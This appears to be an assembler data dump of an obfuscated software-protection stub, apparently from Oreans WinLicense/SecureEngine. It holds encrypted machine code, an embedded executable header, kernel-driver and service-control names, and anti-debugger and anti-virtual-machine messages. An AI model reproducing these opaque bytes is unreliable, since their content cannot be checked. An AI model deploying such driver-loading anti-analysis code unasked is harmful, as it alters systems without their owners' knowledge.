39850126h, 0C6064E22h, 4E040185h, 12E94306h, 0D7000000h dd 5EB11814h, 0B2A8B1Dh, 0D4F147F8h, 0D2BA1877h, 4E853h dd 6EFC0000h, 0BF50BC8Eh, 61A61880h, 424448Bh, 4489008Bh dd 49B60424h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0BC6AA5D8h, 0D2DCBA6Ch, 896019D0h dd 4E2ACD8Dh, 0E2816606h, 0FF61D87Fh, 4E25D1B5h, 59952906h dd 8D064E07h, 4E39D885h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0FE03E50Bh, 0F681D0FFh dd 78C0AA7Fh, 850F90h, 50000000h, 35045CBFh, 0A8B69073h dd 0CA81006Ah, 31155C6Fh, 351EAE68h, 0E8525006h, 0Fh, 0CEB371AEh dd 11BA2114h, 530D148Ah, 608409A1h, 310F5961h, 13BF6660h dd 615F573Fh, 3481585Ah, 351E2E24h, 89958906h, 6A064E13h dd 0B58B5203h, 64E2D8Dh, 6A006A59h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 3DFEC351h dd 36AE4D7h, 3830Fh, 0B70F0000h, 0CF0768C9h, 3481F33Ch dd 3CCF0724h, 8DF58A33h, 50AC3E9Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0DDCD5499h dd 0EE67762h, 3099BD2Bh, 0F50064Eh, 389h, 0D68B6600h, 8B241C89h dd 4E0EFD95h, 0B5896006h, 64E05B9h, 30F98589h, 0FF61064Eh dd 558529D0h, 0E8064E2Bh, 13h, 2A7A07Dh, 96A1B64Fh, 0AF4B68A7h dd 0BCBED582h, 0FCC4560h, 405AD7B7h, 392850Fh, 83B90000h dd 582180A2h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 25C35242h, 0A0195FC1h, 0DFCE2C63h, 50F28BDAh, 0CEB96652h dd 4895E59h, 9ABF6624h, 7E83Ch, 4C020000h, 8EFBE533h, 0C8B70F54h dd 0BE006A5Eh, 43AE95EAh, 4E8h, 8000h, 0D18B6600h, 148C0F50h dd 0E8000000h, 0Ch, 0B97BE4C7h, 34100C8Ah, 0FC95B346h dd 8B596160h, 8B042444h, 24448900h, 585E5704h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 32C35141h, 0F4E938B0h dd 933B7E53h, 6810F4Ch, 29000000h, 4E1FCDBDh, 6A036A06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0F226C352h, 0C8BD973Bh, 538443A4h, 2D81B529h dd 8B5A064Eh, 4E08D9B5h, 6A006A06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 70B1C352h dd 0E9ADD806h, 0Bh, 0F19AF2DFh, 139675B1h, 6A11EAEBh, 55006A03h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0B3CD8BFh, 0D249EC7Ah, 830FF5C0h, 8, 1DB52353h, 5F064E33h dd 0FA207968h, 2701BA80h, 34812113h, 0FA207924h, 0D5B50340h dd 8D064E21h, 50AC479Dh, 0F9C2B906h, 12E838FDh, 5000000h dd 0DCADA1CFh, 0A330454Ch, 96F80455h, 6D1FDDD8h, 14E8A1h dd 70C0000h, 0FAA2864Ch, 0FCA3C9ECh, 0ABEDAE7Eh, 65CED2D7h dd 958B71A7h, 64E05DDh, 0F935E5Eh, 1481h, 0F525000h, 8E831h dd 0EF7C0000h, 4F3C7CC2h, 5A5E6340h, 52505058h, 650BBF66h dd 0EE8A310Fh, 2993585Ah, 4E00298Dh, 57D0FF06h, 6484BF66h dd 81BD8B59h, 40064E0Ah, 1A2850Fh, 9D890000h, 64E0ABDh dd 7EDF8166h, 81665802h, 908925CFh, 14E8h, 0DB3D1A00h dd 32353495h, 0B15D2D52h, 0B24763E9h, 777E778Ah, 0E9525092h dd 6, 0F58A484Ch, 310FEEE2h, 13E8h, 230ADF00h, 0C0FCADC1h dd 0EE53A458h, 0AF283C87h, 0CB8056B9h, 59585A5Fh, 0BE850h dd 55320000h, 0EFD6419Dh, 0FF5323BCh, 605250FDh, 50310F61h dd 5A310F52h, 59585A58h, 0C2816690h, 6AC162h, 12E9h, 849B6E00h dd 12DBA4A0h, 9D05EBB4h, 4F3929B1h, 685DF367h, 0C602957Eh dd 0A989BF66h, 2240481h, 8939FD6Bh, 4E18918Dh, 6AD08B06h dd 6AEE8A03h, 18B0F00h, 0FC000000h, 8B60036Ah, 0BE9CFh dd 203F0000h, 1B4057C7h, 537A4070h, 66861E4h, 0E96F6707h dd 13h, 0CA2BC0A5h, 3D989E6Dh, 0EEB07C1h, 98D0A696h, 8101E9AFh dd 0F8FA2404h, 0C2815098h, 48B354F3h, 10E9h, 2E11D600h dd 0B6E6AFAFh, 0EDCC923Ah, 0A3F3071h, 529D8D83h, 6A0650ACh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0E4E2C356h, 1716CF4h, 536BE0B9h, 0D18B6693h dd 0D78B6650h, 0EA816693h, 0D0FFD2AEh, 5E9h, 2DF2F800h dd 0F408FFDh, 4785h, 39DA8100h, 583BB7CCh, 0FE8h, 238B7400h dd 14602510h, 41CE36E3h, 0C67310E1h, 0FD950360h, 0E9064E0Fh dd 13h, 474CD75h, 246E5C39h, 0BC90BBAEh, 0A108DA72h, 618D8F30h dd 120E959h, 0BD290000h, 64E25C1h, 0B529D88Bh, 64E1949h dd 0B880F4Bh, 60000000h, 26A9B58Bh, 0BF0F064Eh, 6A5861FAh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8BF4C352h, 0BD0157F7h, 64E1341h, 185C65Eh dd 43064E04h, 1B17BF66h, 4DC46C68h, 6052504Eh, 8B665A56h dd 310F61C8h, 0FE9h, 0BF13AA00h, 19733905h, 24EA61Ch, 908DE8B0h dd 481585Ah, 28863B24h, 0F9858972h, 0FF064E0Dh, 4E25D1B5h dd 8DCB8B06h, 4E39D885h, 5E906h, 0CF700000h, 0B19550E2h dd 66D0FF58h, 0CDD7EA81h, 3CBA6650h, 241C8914h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0C8C35545h, 8654FC81h dd 0D0FFF98Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0DDC35747h, 49F03831h, 11B1B58Bh, 9D8D064Eh, 64E73C7h dd 0B8C88B66h, 1, 113D9589h, 0E3FF064Eh, 0C820Fh, 8B0F0000h dd 6, 30DB529h, 0C18B064Eh, 1FF1A0BEh, 0FC08B1Bh, 0BD83CAB7h dd 64E2D45h, 83097500h, 4E19E1BDh, 19740006h, 0C08B5350h dd 40FB8h, 1858900h, 8D064E30h, 50B9A89Dh, 5BD3FF06h, 0E1BD8358h dd 64E19h, 53501774h, 40FB8h, 1858900h, 8D064E30h, 50B6499Dh dd 5BD3FF06h, 0E6816658h, 810F12AFh, 6, 96DB58Bh, 0EF81064Eh dd 14375D36h, 2918CBBEh, 0E9C08B0Ah, 0AAh, 74666F53h, 65726177h dd 6E69575Ch, 6563694Ch, 65736Eh, 63656843h, 4E496Bh, 6F727058h dd 69784574h, 68430074h, 4F6B6365h, 57005455h, 694C6E69h dd 736E6563h, 72655665h, 6E6F6973h, 6E695700h, 6563694Ch dd 4465736Eh, 65766972h, 72655672h, 6E6F6973h, 6E695700h dd 6563694Ch, 4965736Eh, 6174736Eh, 65636Eh, 74697845h dd 50006B4Fh, 49636F72h, 7250004Eh, 554F636Fh, 78450054h dd 4E497469h, 69784500h, 54554F74h, 49705400h, 4Eh, 2 dup(0) dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h, 50B46485h dd 60858D06h, 500650B4h, 0B3CA858Dh, 68500650h, 80000001h dd 0B47095FFh, 196A0650h, 0B464B5FFh, 16A0650h, 858D006Ah dd 650B3F9h, 60B5FF50h, 0FF0650B4h, 4E0CC595h, 60B5FF06h dd 0FF0650B4h, 50B46C95h, 60B5FF06h, 0FF0650B4h, 4E1F9D95h dd 8589C306h, 650B464h, 0B460858Dh, 8D500650h, 50B3CA85h dd 1685006h, 0FF800000h, 50B47095h, 8D046A06h, 50B46485h dd 46A5006h, 858D006Ah, 650B423h, 60B5FF50h, 0FF0650B4h dd 4E0CC595h, 60B5FF06h, 0FF0650B4h, 50B46C95h, 60B5FF06h dd 0FF0650B4h, 4E1F9D95h, 8589C306h, 650B464h, 0B460858Dh dd 8D500650h, 50B3CA85h, 1685006h, 0FF800000h, 50B47095h dd 8D046A06h, 50B46485h, 46A5006h, 858D006Ah, 650B40Bh dd 60B5FF50h, 0FF0650B4h, 4E0CC595h, 60B5FF06h, 0FF0650B4h dd 50B46C95h, 60B5FF06h, 0FF0650B4h, 4E1F9D95h, 8589C306h dd 650B464h, 0B460858Dh, 8D500650h, 50B3CA85h, 1685006h dd 0FF800000h, 50B47095h, 8D046A06h, 50B46485h, 46A5006h dd 858D006Ah, 650B436h, 60B5FF50h, 0FF0650B4h, 4E0CC595h dd 60B5FF06h, 0FF0650B4h, 50B46C95h, 60B5FF06h, 0FF0650B4h dd 4E1F9D95h, 8589C306h, 650B464h, 0B460858Dh, 8D500650h dd 50B3CA85h, 1685006h, 0FF800000h, 50B47095h, 8D046A06h dd 50B46485h, 46A5006h, 858D006Ah, 650B3E6h, 60B5FF50h dd 0FF0650B4h, 4E0CC595h, 60B5FF06h, 0FF0650B4h, 50B46C95h dd 60B5FF06h, 0FF0650B4h, 4E1F9D95h, 0BD83C306h, 64E2F5Dh dd 0B840F00h, 8B000000h, 4E2F5D9Dh, 4CC38306h, 83C30389h dd 4E2F5DBDh, 840F0006h, 0Bh, 2F5D9D8Bh, 0C383064Eh, 0C3038950h dd 2F5DBD83h, 0F00064Eh, 0B84h, 5D9D8B00h, 83064E2Fh, 38954C3h dd 5DBD83C3h, 64E2Fh, 0B840Fh, 9D8B0000h, 64E2F5Dh, 8958C383h dd 0BD83C303h, 64E2F5Dh, 0B840F00h, 8B000000h, 4E2F5D9Dh dd 5CC38306h, 0C3C30389h, 64858960h, 8D0650B4h, 50B46085h dd 858D5006h, 650B3CAh, 16850h, 95FF8000h, 650B470h, 858D046Ah dd 650B464h, 6A046A50h, 5B858D00h, 500650B4h, 0B460B5FFh dd 95FF0650h, 64E0CC5h, 2D45BD83h, 0F00064Eh, 0C84h, 60B5FF00h dd 0FF0650B4h, 50B46C95h, 60B5FF06h, 0FF0650B4h, 4E1F9D95h dd 60C36106h, 0B4648589h, 858D0650h, 650B460h, 0CA858D50h dd 500650B3h, 168h, 7095FF80h, 6A0650B4h, 64858D04h, 500650B4h dd 6A046Ah, 0B43D858Dh, 0FF500650h, 50B460B5h, 0C595FF06h dd 83064E0Ch, 4E2D45BDh, 840F0006h, 0Ch, 0B460B5FFh, 95FF0650h dd 650B46Ch, 0B460B5FFh, 95FF0650h, 64E1F9Dh, 8960C361h dd 50B46485h, 60858D06h, 500650B4h, 0B3CA858Dh, 68500650h dd 80000001h, 0B47095FFh, 46A0650h, 0B464858Dh, 6A500650h dd 8D006A04h, 50B44485h, 0B5FF5006h, 650B460h, 0CC595FFh dd 0BD83064Eh, 64E2D45h, 0C840F00h, 0FF000000h, 50B460B5h dd 6C95FF06h, 0FF0650B4h, 50B460B5h, 9D95FF06h, 61064E1Fh dd 858960C3h, 650B464h, 0B460858Dh, 8D500650h, 50B3CA85h dd 1685006h, 0FF800000h, 50B47095h, 8D046A06h, 50B46485h dd 46A5006h, 858D006Ah, 650B44Ch, 60B5FF50h, 0FF0650B4h dd 4E0CC595h, 45BD8306h, 64E2Dh, 0C840Fh, 0B5FF0000h, 650B460h dd 0B46C95FFh, 0B5FF0650h, 650B460h, 1F9D95FFh, 0C361064Eh dd 64858960h, 8D0650B4h, 50B46085h, 858D5006h, 650B3CAh dd 16850h, 95FF8000h, 650B470h, 858D046Ah, 650B464h, 6A046A50h dd 53858D00h, 500650B4h, 0B460B5FFh, 95FF0650h, 64E0CC5h dd 2D45BD83h, 0F00064Eh, 0C84h, 60B5FF00h, 0FF0650B4h dd 50B46C95h, 60B5FF06h, 0FF0650B4h, 4E1F9D95h, 60C36106h dd 0B46485C7h, 10650h, 858D0000h, 650B460h, 0CA858D50h dd 500650B3h, 268h, 7095FF80h, 0B0650B4h, 0F840FC0h, 0C7000000h dd 50B46485h, 6, 4DE900h, 46A0000h, 0B464858Dh, 6A500650h dd 8D006A04h, 50B3DE85h, 0B5FF5006h, 650B460h, 0CC595FFh dd 0C00B064Eh, 0F840Fh, 85C70000h, 650B464h, 0 dd 0AE9h, 6485C700h, 10650B4h, 0FF000000h, 50B460B5h, 9D95FF06h dd 61064E1Fh, 0B464858Bh, 60C30650h, 0B4648589h, 858D0650h dd 650B460h, 0CA858D50h, 500650B3h, 168h, 7095FF80h, 6A0650B4h dd 64858D04h, 500650B4h, 6A046Ah, 0B3DE858Dh, 0FF500650h dd 50B460B5h, 0C595FF06h, 83064E0Ch, 4E2D45BDh, 840F0006h dd 0Ch, 0B460B5FFh, 95FF0650h, 650B46Ch, 0B460B5FFh, 95FF0650h dd 64E1F9Dh, 8960C361h, 50B46485h, 60858D06h, 500650B4h dd 0B3CA858Dh, 68500650h, 80000001h, 0B47095FFh, 46A0650h dd 0B464858Dh, 6A500650h, 8D006A04h, 50B3F085h, 0B5FF5006h dd 650B460h, 0CC595FFh, 0BD83064Eh, 64E2D45h, 0C840F00h dd 0FF000000h, 50B460B5h, 6C95FF06h, 0FF0650B4h, 50B460B5h dd 9D95FF06h, 61064E1Fh, 185C6C3h, 52064E04h, 0E47B0768h dd 0B5B5FFADh, 0FF064E1Fh, 4E26B595h, 70858906h, 0C60650B4h dd 4E040185h, 0E5685206h, 0FF902E00h, 4E1FB5B5h, 0B595FF06h dd 89064E26h, 50B46C85h, 185C606h, 52064E04h, 0BF123568h dd 0B5B5FFB9h, 0FF064E1Fh, 4E26B595h, 0C5858906h, 0C6064E0Ch dd 4E040185h, 34685206h, 0FF987810h, 4E1FB5B5h, 0B595FF06h dd 89064E26h, 4E1F9D85h, 185C606h, 52064E04h, 5DBD468h dd 0B5B5FFC0h, 0FF064E1Fh, 4E26B595h, 19858906h, 0E8064E25h dd 9, 0FA7D98DEh, 0FC58A85Dh, 38C0FDDh, 0F000000h, 535FC1B7h dd 9E8h, 0B5FE6700h, 0FCCD0D16h, 11E954E0h, 38000000h dd 9BC21CD5h, 41C9AA38h, 0A3EA8D4Ah, 4FA05597h, 0C7815A5Ah dd 5BADh, 1880F60h, 0FC000000h, 0E9F62B61h, 11h, 44C48616h dd 30C064A0h, 0F2C464D4h, 2C10B401h, 370C8B65h, 92E981F8h dd 660150D9h, 0C181C18Bh, 7D7ACF60h, 81D18B66h, 0EDA2FBE9h dd 89C38B35h, 8B66370Ch, 5BEE81C3h, 0F4888CFh, 28Eh, 81D98B00h dd 88CF57C6h, 0FE81F948h, 0FFFFA50Ch, 0FFBB850Fh, 0CE8FFFFh dd 2A000000h, 6952360Fh, 3CD67CFCh, 604FC0E9h, 61D68B66h dd 99E95Bh, 622F0000h, 68636775h, 326B6365h, 75622F00h dd 65686367h, 2F006B63h, 63726F66h, 6E757265h, 75622F00h dd 65686367h, 75666B63h, 2F006C6Ch, 776F6873h, 65646F63h dd 68732F00h, 6F63776Fh, 326564h, 726C632Fh, 642F0074h dd 317369h, 6F68732Fh, 736E6977h, 636E6174h, 672F0065h dd 6C777465h, 74617473h, 2F007375h, 73676F6Ch, 75746174h dd 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h, 6B636568h dd 746F7270h, 69746365h, 6E6Fh, 83000000h, 50BBECBDh, 840F0006h dd 0Ah, 19E185C7h, 1064Eh, 85C60000h, 64E0401h, 0A8B86847h dd 3481CD75h, 18C43524h, 0D1B5FF5Dh, 8D064E25h, 4E39D885h dd 0FFD0FF06h, 80F88BD0h, 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh dd 3F80FFFFh, 18840F00h, 47000003h, 0F003F80h, 30E84h dd 1EE900h, 3F800000h, 840F00h, 80000003h, 850F203Fh, 6 dd 6E947h, 0E9470000h, 0FFFFFFE2h, 0F003F80h, 585h, 2DDE900h dd 1E90000h, 47000000h, 0F203F80h, 0FFFFF684h, 3F80FFh dd 5850Fh, 0C0E90000h, 0E8000002h, 0Ah, 0FFFFCBE9h, 2B1E9FFh dd 0B58D0000h, 650BB6Ch, 225E8h, 1BD0300h, 830650BCh, 50BC01BDh dd 840F0006h, 0Bh, 2D4585C7h, 1064Eh, 8DC30000h, 50BB77B5h dd 1FCE806h, 0BD030000h, 650BC01h, 0BC01BD83h, 0F000650h dd 0B84h, 0E185C700h, 1064E19h, 0C3000000h, 0BBF0B58Dh dd 0D3E80650h, 3000001h, 50BC01BDh, 1BD8306h, 650BCh, 0B840Fh dd 85C70000h, 64E0D49h, 1, 81B58DC3h, 0E80650BBh, 1AAh dd 0BC01BD03h, 0BD830650h, 650BC01h, 0B840F00h, 0C7000000h dd 4E19E185h, 106h, 0B58DC300h, 650BB8Bh, 181E8h, 1BD0300h dd 830650BCh, 50BC01BDh, 840F0006h, 15h, 19E185C7h, 1064Eh dd 85C70000h, 64E2D45h, 1, 99B58DC3h, 0E80650BBh, 14Eh dd 0BC01BD03h, 0BD830650h, 650BC01h, 0A840F00h, 0C7000000h dd 4E2A8185h, 106h, 0A3B58D00h, 0E80650BBh, 126h, 0BC01BD03h dd 0BD830650h, 650BC01h, 0A840F00h, 0C7000000h, 4E2A8185h dd 106h, 0AEB58D00h, 0E80650BBh, 0FEh, 0BC01BD03h, 0BD830650h dd 650BC01h, 0A840F00h, 0C7000000h, 4E28AD85h, 106h, 0B4B58D00h dd 0E80650BBh, 0D6h, 0BC01BD03h, 0BD830650h, 650BC01h dd 0A840F00h, 0C7000000h, 4E21FD85h, 106h, 0BAB58D00h dd 0E80650BBh, 0AEh, 0BC01BD03h, 0BD830650h, 650BC01h dd 0A840F00h, 0C7000000h, 4E0F0985h, 106h, 0C8B58D00h dd 0E80650BBh, 86h, 0BC01BD03h, 0BD830650h, 650BC01h, 0A840F00h dd 0C7000000h, 4E2CED85h, 106h, 0D5B58D00h, 0E80650BBh dd 5Eh, 0BC01BD03h, 0BD830650h, 650BC01h, 0A840F00h, 0C7000000h dd 4E13E985h, 106h, 0E0B58D00h, 0E80650BBh, 36h, 0BC01BD03h dd 0BD830650h, 650BC01h, 0A840F00h, 0C7000000h, 4E047D85h dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h dd 0B960C3FFh, 1, 19E9DE8Bh, 80000000h, 850F003Fh, 2, 178AC92Bh dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h dd 0FFFFD685h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h dd 0D840Fh, 0F32B0000h, 0BC01B589h, 0AE90650h, 0C7000000h dd 50BC0185h, 6, 8BC36100h, 20EE9C8h, 43330000h, 6F6E6E61h dd 72772074h, 20657469h, 6165726Fh, 762E736Eh, 0D0A6478h dd 656B614Dh, 72757320h, 68742065h, 74207461h, 20736968h dd 656C6966h, 20736920h, 20746F6Eh, 6E696562h, 73752067h dd 62206465h, 6E612079h, 6568746Fh, 72702072h, 6172676Fh dd 2E6Dh, 67h dup(0) dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0) dd 0EFE9h, 185C600h, 47064E04h, 0E45B8668h, 0D1B5FFE3h dd 8D064E25h, 4E39D885h, 68D0FF06h, 104h, 27519D8Dh, 0FF53064Eh dd 0B58D50D0h, 650C174h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 64E0401h, 6EFC6843h dd 0B5FFBC8Eh, 64E25D1h, 39D8858Dh, 0D0FF064Eh, 2751B58Dh dd 6A064Eh, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h dd 185C6D8h, 57064E04h, 9BEE5668h, 0D1B5FFA6h, 8D064E25h dd 4E39D885h, 8DD0FF06h, 4E046DBDh, 9A8D8D06h, 6A0650C2h dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h, 8D000000h dd 50BF7CB5h, 0BE858D06h, 0FF0650AAh, 0C78D8DD0h, 0B8064E73h dd 0 dd 85C6E1FFh, 64E0401h, 4AA76843h, 0B5FFC076h, 64E25D1h dd 39D8858Dh, 0D0FF064Eh, 0C3D0FF53h, 37D0B9h, 0E800h dd 83580000h, 8890EC0h, 2E9h, 0E9C38B00h, 37D0h, 905A4Dh dd 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0B0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0) dd 454Ch, 0 dd 40002h, 0 dd 38000h, 14h, 4 dup(0) dd 200h, 1C0h, 90h, 0 dd 7Eh, 0 dd 0C4h, 1, 0DCh, 3 dup(0) dd 12Ch, 138h, 2 dup(0) dd 142h, 196h, 1D2h, 0 dd 1D2h, 0 dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0) dd 4000000h, 27C0h, 0 dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h, 110000h dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h dd 10301h, 3, 0 dd 13h dup(70000h), 3C0000h, 70000h, 60010018h, 0AD000727h dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h dd 7279801h, 1016B00h, 2771h, 360h dup(0) dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0) aVerpp db 'verPP',0 align 10h a1vsr2vsr3vsr db '1vsR2vsR3vsR',0 align 10h dd 9C3h dup(0) dd 831BE883h, 77309F8h, 8524FFh, 0F8000000h, 0C3h, 8 dup(0) dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 10A9E9h, 56444100h dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0) dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0) aOreansx64_sys db 'oreansx64.sys',0 align 10h dd 0 dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0) dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0) dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h dd 6172676Fh, 2E6Dh, 59h dup(0) dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0) dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0) dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch dd 0 dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh dd 68742072h, 65207369h, 726F7272h, 0 dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h dd 656E6968h, 70h dup(0) dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h dd 21h dup(0) dd 0C48B0000h, 2E78166h, 6D8589EEh, 8B064E0Dh, 4E1A5D8Dh dd 66C08B06h, 7584F181h, 38A0Fh, 0F5560000h, 45BD8359h dd 64E2Dh, 0BD830975h, 64E19E1h, 50197400h, 0B8C08B53h dd 43Dh, 21B98589h, 9D8D064Eh, 650B941h, 585BD3FFh, 19E1BD83h dd 7400064Eh, 0B8535017h, 43Dh, 21B98589h, 9D8D064Eh, 650B630h dd 585BD3FFh, 875BD29h, 6A064Eh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0B589C6C3h, 64E3021h dd 8D89C08Bh, 64E24F5h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0BA665DC3h, 68B58171h dd 2D45BD83h, 7500064Eh, 0E1BD8309h, 64E19h, 53501374h dd 0B8C08Bh, 8D000000h, 50B7E39Dh, 5BD3FF06h, 0E1BD8358h dd 64E19h, 53501174h, 0B8h, 949D8D00h, 0FF0650B6h, 66585BD3h dd 0F8565BAh, 685h, 1D9D2900h, 8B064E33h, 50006AC0h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 395096A0h, 8BD1AA90h, 4E0831BDh, 0CE906h, 0EF7D0000h dd 1B1CDCDDh, 0A522B05Ch, 0C08B106Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 95C35242h, 0CD5292D8h, 96123D9Bh dd 9D895392h, 64E0BD5h, 13E95Fh, 66EA0000h, 1AD31195h dd 0B1C71A39h, 0DFA11173h, 0D6CB0AF7h, 45BD8381h, 64E2Dh dd 0BD830975h, 64E19E1h, 50137400h, 0B8C08B53h, 0 dd 